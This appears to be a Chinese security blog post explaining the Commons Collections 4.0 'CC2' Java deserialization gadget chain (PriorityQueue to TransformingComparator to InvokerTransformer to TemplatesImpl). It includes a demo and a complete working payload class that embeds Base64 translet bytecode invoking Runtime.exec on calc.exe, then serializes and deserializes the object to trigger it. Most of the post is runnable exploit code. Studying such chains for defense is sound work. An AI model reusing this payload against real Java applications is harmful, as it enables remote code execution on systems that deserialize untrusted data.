java反序列化–cc2
本文最后更新于 12 天前,其中的信息可能已经过时,如有 错误/失效 请发送邮件到xiaoc1737938763@gmail.com或留言。

环境:jdk8u65;commons-collections4.0

影响版本:几乎覆盖了jdk1.8所有版本(在未启用jdk.serialFilter的情况下),我目前尝试了jdk8u401是可以执行的

<dependency>
   <groupId>org.apache.commons</groupId>
   <artifactId>commons-collections4</artifactId>
   <version>4.0</version>
</dependency>

cc2这条链很巧妙地把之前我们学习到的transformer数组和TemplatesImpl字节码加载串联了起来,它使用invokerTransformer.transform()去调用TemplatesImpl.newTransformer(),之后直接使用TransformingComparator.compare()方法调用invokerTransformer.transform()。TransformingComparator.compare()之前的链条和cc4相同,TemplatesImpl.newTransformer()之后的链条和cc3相同,因此我们主要来看TransformingComparator.compare()–>invokerTransformer.transform()–>TemplatesImpl.newTransformer()这三者的关系。

demo

package testCode;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;

public class Test {
   public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
       Field field = obj.getClass().getDeclaredField(fieldName);
       field.setAccessible(true);
       field.set(obj, value);
  }
   
   public static void main(String[] args) throws Exception{
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABZDYWxjVGVtcGxhdGVzSW1wbC5qYXZhDAAOAA8HABwMAB0AHgEACGNhbGMuZXhlDAAfACABACRCeXRlc0NvZGVHZW5lcmF0b3IvQ2FsY1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABAABAARAA0AEgALAAAABAABABAAAQARAAAAAgAS");
       TemplatesImpl obj = new TemplatesImpl();
       setFieldValue(obj, "_bytecodes", new byte[][] {code});
       setFieldValue(obj, "_name", "HelloTemplatesImpl");
       setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

       Transformer transformer = new InvokerTransformer("newTransformer", null, null);

       Comparator comparator = new TransformingComparator(transformer);
       comparator.compare(obj, obj);
  }
}

TransformingComparator.compare()

demo中new了一个TransformingComparator对象,并且将invokertransformer对象传入了构造函数中,同时调用compare方法,compare方法中的obj对象是TemplatesImpl对象

Comparator comparator = new TransformingComparator(transformer);
comparator.compare(obj, obj);

InvokerTransformer.transform()

demo中new了一个InvokerTransformer对象,将newTransformer方法名赋值给到iMethodName

Transformer transformer = new InvokerTransformer("newTransformer", null, null);

TransformingComparator.compare()又调用了InvokerTransformer.transform(),传入的对象是TemplatesImpl对象,根据transform的逻辑,首先会获取到TemplatesImpl.newTransformer(),然后进行invoke调用。TemplatesImpl.newTransformer()不需要参数,所以传入的iParamTypes和iArgs字段都为null。

此时就成功调用到了TemplatesImpl.newTransformer(),后续的链条和cc3相同,不再赘述,给出完整payload

payload

package commonscollections4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2 {
   public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
       Field field = obj.getClass().getDeclaredField(fieldName);
       field.setAccessible(true);
       field.set(obj, value);
  }

   public static void main(String[] args) throws Exception{
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABZDYWxjVGVtcGxhdGVzSW1wbC5qYXZhDAAOAA8HABwMAB0AHgEACGNhbGMuZXhlDAAfACABACRCeXRlc0NvZGVHZW5lcmF0b3IvQ2FsY1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABAABAARAA0AEgALAAAABAABABAAAQARAAAAAgAS");
       TemplatesImpl obj = new TemplatesImpl();
       setFieldValue(obj, "_bytecodes", new byte[][] {code});
       setFieldValue(obj, "_name", "HelloTemplatesImpl");
       setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

       Transformer transformer = new InvokerTransformer("toString", null, null);

       Comparator comparator = new TransformingComparator(transformer);
       PriorityQueue queue = new PriorityQueue(2, comparator);
       queue.add(obj);
       queue.add(obj);
       setFieldValue(transformer, "iMethodName", "newTransformer");

       ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
       out.writeObject(queue);
       out.close();

       ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
       in.readObject();
       in.close();
  }
}

gadget

PriorityQueue.readObject()
   PriorityQueue.heapify()
       PriorityQueue.siftDown()
           PriorityQueue.siftDownUsingComparator()
               TransformingComparator.compare()
  InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇